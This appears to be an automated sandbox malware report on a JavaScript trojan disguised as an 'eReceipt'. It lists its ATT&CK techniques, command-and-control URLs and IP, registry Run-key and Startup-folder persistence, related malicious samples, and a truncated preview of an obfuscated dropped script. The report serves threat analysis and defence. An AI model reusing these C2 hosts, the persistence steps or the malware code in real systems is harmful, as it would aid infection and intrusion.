Default Accounts	43 Scripting	Boot or Logon Initialization Scripts	121 Registry Run Keys / Startup Folder	111 Process Injection	LSASS Memory	121 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Data Encoding	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	43 Scripting	Security Account Manager	1 Remote System Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Obfuscated Files or Information	NTDS	2 File and Directory Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	12 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	2 System Information Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
eReceipt.js	20%	ReversingLabs	Script-JS.Trojan.Cryxos

Source	Detection	Scanner	Label	Link
zeegod.duckdns.org	10%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://travcharles.duia.ro:5098Vredesk	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org:9003/VreMcroWinows	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org:9003/Vre5(	0%	Avira URL Cloud	safe
http://travcharles.duia.ro:5098VreS~1	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org:9003/VreW&&1	0%	Avira URL Cloud	safe
http://travcharles.duia.ro:5098Vre%	0%	Avira URL Cloud	safe
http://travcharles.duia.ro:5098VreMcroWinows	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org:9003/VreICAgICAgICAgICAgIC	0%	Avira URL Cloud	safe
http://travcharles.duia.ro:5098Vre	0%	Avira URL Cloud	safe
http://travcharles.duia.ro:5098Vreosoft	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org/	0%	Avira URL Cloud	safe
http://travcharles.duia.ro:5098VreMcroWinowsu	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org:9003/Vre?Lw	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org:9003/Vre#	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org:9003/Vre0	0%	Avira URL Cloud	safe
http://travcharles.duia.ro:5098VreMH	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org:9003/VreMcroWinowsC	0%	Avira URL Cloud	safe
http://travcharles.duia.ro:5098VreMcroWinowsiniF	0%	Avira URL Cloud	safe
http://travcharles.duia.ro:5098VreMcroWinowsiniG	0%	Avira URL Cloud	safe
http://travcharles.duia.ro:5098Vre7E9B0-70EF-11D1-B75A-00A0C90564FE	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org:9003/Vre5	0%	Avira URL Cloud	safe
http://travcharles.duia.ro:5098Vrei	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org:9003/Vre2	0%	Avira URL Cloud	safe
http://travcharles.duia.ro:5098Vre783C6-CB41-11D1-8B02-00600806D9B6	0%	Avira URL Cloud	safe
http://travcharles.duia.ro:5098	100%	Avira URL Cloud	malware
http://zeegod.duckdns.org:9003/VreMcroWinows1	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org:9003/Vreuc3BsaXQo	0%	Avira URL Cloud	safe
http://travcharles.duia.ro:5098Vrer	0%	Avira URL Cloud	safe
http://travcharles.duia.ro:5098Vrep	0%	Avira URL Cloud	safe
http://travcharles.duia.ro:5098VreMicrosoft	0%	Avira URL Cloud	safe
http://travcharles.duia.ro:5098VreZ	0%	Avira URL Cloud	safe
http://travcharles.duia.ro:5098VreY	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org:9003/VreB	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org:9003/Ag	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org:9003/Vre	0%	Avira URL Cloud	safe
http://travcharles.duia.ro:5098Vree	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org:9003/VreM	0%	Avira URL Cloud	safe
http://travcharles.duia.ro:5098Vrea	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org:9003/VreJ	0%	Avira URL Cloud	safe
http://travcharles.duia.ro:5098VreM	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org:9003/VreT	0%	Avira URL Cloud	safe
http://travcharles.duia.ro:5098VreWOW64	0%	Avira URL Cloud	safe
http://travcharles.duia.ro:5098Vref:	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org:9003/	0%	Avira URL Cloud	safe
http://travcharles.duia.ro:5098VreM8	0%	Avira URL Cloud	safe
http://travcharles.duia.ro:5098Vreosoft.xmldom	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org:9003/Vre798AD7C45B15A	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org/telPROCESSOR_LEVEL=6PROCESSOR_RC	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org:9003/Vre0&	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org:9003/Vreo	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org:9003/VrebiBuZXcgQWN0aXZlWE	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org:9003/Vre7DQpmb3Ig	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org:9003/Vreba&	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org:9003/VreenP	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org:9003/Vre5BP	0%	Avira URL Cloud	safe
http://travcharles.duia.ro:5098Vre563209-4053062332-100	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org:9003/Vres	0%	Avira URL Cloud	safe
http://travcharles.duia.ro:5098Vre0	0%	Avira URL Cloud	safe
http://zeegod.duckdns.org:9003/Vre-z	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
zeegod.duckdns.org	212.193.30.129	true	true	10%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://zeegod.duckdns.org:9003/Vre	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://travcharles.duia.ro:5098Vredesk	wscript.exe, 0000000C.00000002.881519996.00000171E2B20000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000012.00000002.880111499.0000026BB17E2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://zeegod.duckdns.org:9003/VreMcroWinows	wscript.exe, 00000000.00000002.881792524.000001C6DCC84000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.815093819.000001B3A057A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.883135127.000001B3A057D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://zeegod.duckdns.org:9003/Vre5(	wscript.exe, 00000000.00000002.882808280.000001C6DD8AC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://travcharles.duia.ro:5098VreS~1	wscript.exe, 00000001.00000002.882158430.000001FE44A30000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.882890634.00000280CB850000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.881999035.00000239FAD10000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://zeegod.duckdns.org:9003/VreW&&1	wscript.exe, 00000005.00000003.815093819.000001B3A057A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.883135127.000001B3A057D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://travcharles.duia.ro:5098Vre%	wscript.exe, 0000000C.00000002.881519996.00000171E2B20000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://travcharles.duia.ro:5098VreMcroWinows	wscript.exe, 00000006.00000002.880223665.000001C979E1C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.827815477.00000280C91ED000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.881255255.00000280C91ED000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.880832784.00000171E0417000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://zeegod.duckdns.org:9003/VreICAgICAgICAgICAgIC	wscript.exe, 00000005.00000002.884283434.000001B3A0DF0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.882515571.0000011D6E1A0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://travcharles.duia.ro:5098Vre	wscript.exe, 00000012.00000002.880111499.0000026BB17E2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://travcharles.duia.ro:5098Vreosoft	wscript.exe, 00000001.00000002.882158430.000001FE44A30000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.881172921.000001C97BE80000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.882890634.00000280CB850000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.881999035.00000239FAD10000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.881519996.00000171E2B20000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000012.00000002.881266863.0000026BB3900000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://zeegod.duckdns.org/	wscript.exe, 00000000.00000002.882808280.000001C6DD8AC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://travcharles.duia.ro:5098VreMcroWinowsu	wscript.exe, 00000001.00000002.881083256.000001FE4248F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://zeegod.duckdns.org:9003/Vre?Lw	wscript.exe, 00000009.00000002.881854049.0000011D6D8E9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://zeegod.duckdns.org:9003/Vre#	wscript.exe, 00000005.00000003.815093819.000001B3A057A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.883135127.000001B3A057D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://zeegod.duckdns.org:9003/Vre0	wscript.exe, 00000000.00000002.882808280.000001C6DD8AC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://travcharles.duia.ro:5098VreMH	wscript.exe, 00000007.00000002.882890634.00000280CB850000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://zeegod.duckdns.org:9003/VreMcroWinowsC	wscript.exe, 00000009.00000002.881803714.0000011D6D8B2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://travcharles.duia.ro:5098VreMcroWinowsiniF	wscript.exe, 0000000A.00000002.880775140.00000239F8B9C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://travcharles.duia.ro:5098VreMcroWinowsiniG	wscript.exe, 00000012.00000002.879936544.0000026BB17B2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://travcharles.duia.ro:5098Vre7E9B0-70EF-11D1-B75A-00A0C90564FE	wscript.exe, 00000007.00000002.881546053.00000280C921B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.827671805.00000280C9218000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://zeegod.duckdns.org:9003/Vre5	wscript.exe, 00000010.00000002.884362520.00000244B00A8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://travcharles.duia.ro:5098Vrei	wscript.exe, 00000007.00000002.881546053.00000280C921B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.827671805.00000280C9218000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://zeegod.duckdns.org:9003/Vre2	wscript.exe, 00000000.00000002.881792524.000001C6DCC84000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://travcharles.duia.ro:5098Vre783C6-CB41-11D1-8B02-00600806D9B6	wscript.exe, 00000007.00000002.881546053.00000280C921B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.827671805.00000280C9218000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://travcharles.duia.ro:5098	wscript.exe, 00000012.00000002.881139684.0000026BB35D2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000012.00000002.879936544.0000026BB17B2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000012.00000002.879648858.000000D426DC1000.00000004.00000010.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://zeegod.duckdns.org:9003/VreMcroWinows1	wscript.exe, 00000010.00000002.882947687.00000244AF47E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://zeegod.duckdns.org:9003/Vreuc3BsaXQo	wscript.exe, 00000005.00000002.884283434.000001B3A0DF0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.882515571.0000011D6E1A0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.883937570.00000244AFD70000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://travcharles.duia.ro:5098Vrer	wscript.exe, 00000001.00000002.882158430.000001FE44A30000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://travcharles.duia.ro:5098Vrep	wscript.exe, 00000006.00000002.880223665.000001C979E1C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://travcharles.duia.ro:5098VreMicrosoft	wscript.exe, 0000000C.00000002.881056298.00000171E0430000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://travcharles.duia.ro:5098VreZ	wscript.exe, 00000001.00000002.882158430.000001FE44A30000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://travcharles.duia.ro:5098VreY	wscript.exe, 00000007.00000002.881546053.00000280C921B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.827671805.00000280C9218000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://zeegod.duckdns.org:9003/VreB	wscript.exe, 00000000.00000002.881792524.000001C6DCC84000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://zeegod.duckdns.org:9003/Ag	wscript.exe, 00000000.00000003.354426581.000001C6DCBAD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.354234861.000001C6DCBAC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.881556438.000001C6DCBAF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.458352994.00000244AF37E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.881936001.00000244AF37E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://travcharles.duia.ro:5098Vree	wscript.exe, 0000000C.00000002.881519996.00000171E2B20000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://zeegod.duckdns.org:9003/VreM	wscript.exe, 00000005.00000002.883505845.000001B3A05C9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.881803714.0000011D6D8B2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.883452838.00000244AF4E2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.879910035.00000244AD532000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://travcharles.duia.ro:5098Vrea	wscript.exe, 00000007.00000002.881546053.00000280C921B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.827671805.00000280C9218000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://zeegod.duckdns.org:9003/VreJ	wscript.exe, 00000009.00000002.882763356.0000011D6E4A0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://travcharles.duia.ro:5098VreM	wscript.exe, 00000001.00000002.882158430.000001FE44A30000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.881999035.00000239FAD10000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.881519996.00000171E2B20000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000012.00000002.881266863.0000026BB3900000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://zeegod.duckdns.org:9003/VreT	wscript.exe, 00000005.00000002.884584250.000001B3A1169000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://travcharles.duia.ro:5098VreWOW64	wscript.exe, 00000001.00000002.881152946.000001FE424AE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.880223665.000001C979E1C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.880995729.00000239F8BE0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://travcharles.duia.ro:5098Vref:	wscript.exe, 0000000A.00000002.881999035.00000239FAD10000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://zeegod.duckdns.org:9003/	wscript.exe, 00000010.00000002.884207305.00000244AFE70000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.457112240.00000244AF413000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://travcharles.duia.ro:5098VreM8	wscript.exe, 00000006.00000002.881172921.000001C97BE80000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://travcharles.duia.ro:5098Vreosoft.xmldom	wscript.exe, 00000001.00000002.880864667.000001FE4244C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://zeegod.duckdns.org:9003/Vre798AD7C45B15A	wscript.exe, 00000009.00000002.883203781.0000011D6E515000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://zeegod.duckdns.org/telPROCESSOR_LEVEL=6PROCESSOR_RC	wscript.exe, 00000000.00000002.882808280.000001C6DD8AC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://zeegod.duckdns.org:9003/Vre0&	wscript.exe, 00000010.00000002.882947687.00000244AF47E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://travcharles.duia.ro:5098VreE	wscript.exe, 0000000C.00000002.881519996.00000171E2B20000.00000004.00000020.00020000.00000000.sdmp	true		low
http://zeegod.duckdns.org:9003/Vreo	wscript.exe, 00000005.00000003.814806136.000001B3A1155000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.814853193.000001B3A1161000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.814903129.000001B3A1167000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://zeegod.duckdns.org:9003/VrebiBuZXcgQWN0aXZlWE	wscript.exe, 00000000.00000002.881896029.000001C6DCCF0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.884283434.000001B3A0DF0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.882515571.0000011D6E1A0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.883937570.00000244AFD70000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://zeegod.duckdns.org:9003/Vre7DQpmb3Ig	wscript.exe, 00000005.00000002.884283434.000001B3A0DF0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.882515571.0000011D6E1A0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.883937570.00000244AFD70000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://zeegod.duckdns.org:9003/Vrem	wscript.exe, 00000000.00000002.881792524.000001C6DCC84000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://zeegod.duckdns.org:9003/Vreba&	wscript.exe, 00000010.00000002.884362520.00000244B00A8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://zeegod.duckdns.org:9003/VreenP	wscript.exe, 00000000.00000002.882571223.000001C6DD870000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://zeegod.duckdns.org:9003/Vre5BP	wscript.exe, 00000005.00000002.884584250.000001B3A1169000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://travcharles.duia.ro:5098Vre563209-4053062332-100	wscript.exe, 00000001.00000002.882158430.000001FE44A30000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.881172921.000001C97BE80000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.882890634.00000280CB850000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.881999035.00000239FAD10000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.881519996.00000171E2B20000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000012.00000002.881266863.0000026BB3900000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://zeegod.duckdns.org:9003/Vres	wscript.exe, 00000000.00000002.882571223.000001C6DD870000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://travcharles.duia.ro:5098Vre0	wscript.exe, 00000001.00000002.881152946.000001FE424AE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.881519996.00000171E2B20000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://zeegod.duckdns.org:9003/Vre-z	wscript.exe, 00000005.00000002.884039179.000001B3A0690000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
212.193.30.129	zeegod.duckdns.org	Russian Federation		57844	SPD-NETTR	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	628800
Start date and time: 17/05/202223:08:26	2022-05-17 23:08:26 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	eReceipt.js
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	29
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winJS@15/6@4/2
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js Adjust boot time Enable AMSI Override analysis time to 240s for JS/VBS files not yet terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, client.wns.windows.com, store-images.s-microsoft.com, login.live.com, sls.update.microsoft.com, settings-win.data.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
23:09:42	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 1NBCD3W1VR "C:\Users\user\AppData\Roaming\eReceipt.js"
23:09:51	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 00FAYTSXGU "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js"
23:10:00	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 1NBCD3W1VR "C:\Users\user\AppData\Roaming\eReceipt.js"
23:10:08	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 00FAYTSXGU "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js"
23:10:17	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eReceipt.js
23:10:25	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XZqsVjnTsr.js

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
212.193.30.129	ZBRvI8mnZQ	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
zeegod.duckdns.org	eReceiptpdf.exe	Get hash	malicious	Browse	45.133.1.211

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
SPD-NETTR	INVOICE.exe	Get hash	malicious	Browse	212.193.30.204
	Setup.exe	Get hash	malicious	Browse	212.193.30.29
	INQUIRY.exe	Get hash	malicious	Browse	212.193.30.204
	E3387D3F62414FB262DA20E54D5775A647443B88CD8A0.exe	Get hash	malicious	Browse	212.193.30.29
	E4B23EBEB82594979325357CE20F14F70143D98FF49A9.exe	Get hash	malicious	Browse	212.193.30.29
	Circular PSSB Parts Disc Credit Term (Dlr) May12 2022 (1).exe	Get hash	malicious	Browse	212.193.30.204
	New Purchase Order 4522028497676.xlsx	Get hash	malicious	Browse	212.193.30.214
	MARIAM HONAINE'S CV.exe	Get hash	malicious	Browse	212.193.30.204
	QUOTATION.exe	Get hash	malicious	Browse	212.193.30.204
	Resetter.exe	Get hash	malicious	Browse	212.193.30.29
	SecuriteInfo.com.Trojan.PackedNET.331.26146.exe	Get hash	malicious	Browse	212.193.30.38
	hdk8Z67C7x.exe	Get hash	malicious	Browse	212.193.30.29
	CHANGE OF ACCOUNT RUSH TO DESK.exe	Get hash	malicious	Browse	212.193.30.101
	2020574185.exe	Get hash	malicious	Browse	212.193.30.204
	ORDER.exe	Get hash	malicious	Browse	212.193.30.204
	ckc238HATk.exe	Get hash	malicious	Browse	212.193.30.45
	ckc238HATk.exe	Get hash	malicious	Browse	212.193.30.45
	TjDCLiM89x.exe	Get hash	malicious	Browse	212.193.30.45
	POP.exe	Get hash	malicious	Browse	212.193.30.204
	AFAC7896CF21983233C533EEAEC870610856969D98218.exe	Get hash	malicious	Browse	212.193.30.29

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	21357
Entropy (8bit):	5.2894011150794435
Encrypted:	false
SSDEEP:	384:4HODRv2Svqnusx24EsLEtidkVdIa1bwp/Ehobu+5Tbwp/B3P0:Kk2snsxUr+e3P0
MD5:	9680A56E1D5253816FE0207732F4E9CB
SHA1:	89521E7838484A7417B1F1E2C24F08248A2CF6CD
SHA-256:	36CFA283F600288D1B5D4037A32AAD1163FC4F2CCCF4193A5A9580221FA7320D
SHA-512:	7BE37792E490BF33683B414565177CA7E9A906A0A03AC81EA50CCB30EE480E519F4D7165A4D92351AAC12C014260DDE15BEFA14E9BCB9C6B74480F40FEC1209A
Malicious:	true
Preview:	+(!Array.prototype.forEach ? Array.prototype.forEach = function (callback, thisArg) {. thisArg = thisArg;. for (var i = 0; i < this.length; i++) {. callback.call(thisArg, this[i], i, this);. }.} : 0, !Array.prototype.map ? Array.prototype.map = function (callback, thisArg) {. thisArg = thisArg;. var array = [];. for (var i = 0; i < this.length; i++) {. array.push(callback.call(thisArg, this[i], i, this));. }. return array;.} : 0, !Array.prototype.reduce ? Array.prototype.reduce = function (fn, initial) {. var values = this;. if (typeof initial === '\x75\x6e\x64\x65\x66\x69\x6e\x65\x64') {. initial = 0;. }. values.forEach(function (item, index) {. initial = fn(initial, item, index, this);. });. return initial;.} : 0);.function cushDevener$$$_() {. var __p_7718723007 = false;. if (__p_7718723007) {. function curCSS(elem, name, computed) {. var ret;. computed = computed \|\| getStyles(el

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eReceipt.js

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	72418
Entropy (8bit):	5.8225967963556124
Encrypted:	false
SSDEEP:	1536:fLjCsEaCSsH70UPi7qzBeIqwitzYNJO4b4aA7pbN:ODfXBeIqwitzYXt4zL
MD5:	251F5F194692E3005FC3C7FF65245703
SHA1:	A783B3612C72FDA8BEBA978B64355CF55BEB9207
